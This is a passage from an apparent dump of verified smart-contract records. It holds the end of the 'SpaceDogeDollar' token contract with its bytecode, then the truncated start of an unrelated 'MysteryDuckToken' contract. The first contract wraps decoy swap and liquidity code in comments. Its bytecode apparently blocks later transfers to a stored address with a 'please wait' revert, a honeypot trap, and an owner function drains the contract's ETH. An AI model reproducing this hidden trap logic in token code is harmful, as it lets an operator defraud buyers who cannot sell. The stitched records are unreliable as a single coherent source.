tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } /** function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } } */ contract SpaceDogeDollar is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } } /** interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } */
0x6080604052600436106100fe5760003560e01c806381f4f39911610095578063c04365a911610064578063c04365a914610570578063cae9ca5114610587578063d4ee1d9014610691578063dd62ed3e146106e8578063f2fde38b1461076d576100fe565b806381f4f399146103c55780638da5cb5b1461041657806395d89b411461046d578063a9059cbb146104fd576100fe565b806323b872dd116100d157806323b872dd14610285578063313ce5671461031857806370a082311461034957806379ba5097146103ae576100fe565b806306fdde0314610100578063095ea7b31461019057806318160ddd146102035780631ee59f201461022e575b005b34801561010c57600080fd5b506101156107be565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015557808201518184015260208101905061013a565b50505050905090810190601f1680156101825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019c57600080fd5b506101e9600480360360408110156101b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061085c565b604051808215151515815260200191505060405180910390f35b34801561020f57600080fd5b5061021861094e565b6040518082815260200191505060405180910390f35b34801561023a57600080fd5b506102436109a9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029157600080fd5b506102fe600480360360608110156102a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cf565b604051808215151515815260200191505060405180910390f35b34801561032457600080fd5b5061032d610e14565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035557600080fd5b506103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e27565b6040518082815260200191505060405180910390f35b3480156103ba57600080fd5b506103c3610e70565b005b3480156103d157600080fd5b50610414600480360360208110156103e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061100d565b005b34801561042257600080fd5b5061042b6110aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047957600080fd5b506104826110cf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c25780820151818401526020810190506104a7565b50505050905090810190601f1680156104ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050957600080fd5b506105566004803603604081101561052057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116d565b604051808215151515815260200191505060405180910390f35b34801561057c57600080fd5b506105856113cc565b005b34801561059357600080fd5b50610677600480360360608110156105aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184600183028401116401000000008311171561062557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611474565b604051808215151515815260200191505060405180910390f35b34801561069d57600080fd5b506106a66116a7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f457600080fd5b506107576004803603604081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116cd565b6040518082815260200191505060405180910390f35b34801561077957600080fd5b506107bc6004803603602081101561079057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611754565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108545780601f1061082957610100808354040283529160200191610854565b820191906000526020600020905b81548152906001019060200180831161083757829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006109a4600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546005546117f190919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a5b5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610aa65782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b6b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610bbd82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8f82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6182600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eca57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461106657600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111655780601f1061113a57610100808354040283529160200191611165565b820191906000526020600020905b81548152906001019060200180831161114857829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61128582600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061131a82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461142557600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611470573d6000803e3d6000fd5b5050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561163557808201518184015260208101905061161a565b50505050905090810190601f1680156116625780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561168457600080fd5b505af1158015611698573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117ad57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561180057600080fd5b818303905092915050565b600081830190508281101561181f57600080fd5b9291505056fea265627a7a72315820c6d3b9406cd553059643c00968220bc3ccaa13ba3aecf3f0e92d793aa227919664736f6c63430005110032
[ 38 ]
0xf308b3eec85a07076ea2b4dae84431edb5edb15e
/** *Submitted for verification at Etherscan.io on 2021-06-21 * https://t.me/MysteryDuckToken * https://twitter.com/ErCduck * https://www.pekingduck.info/ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function 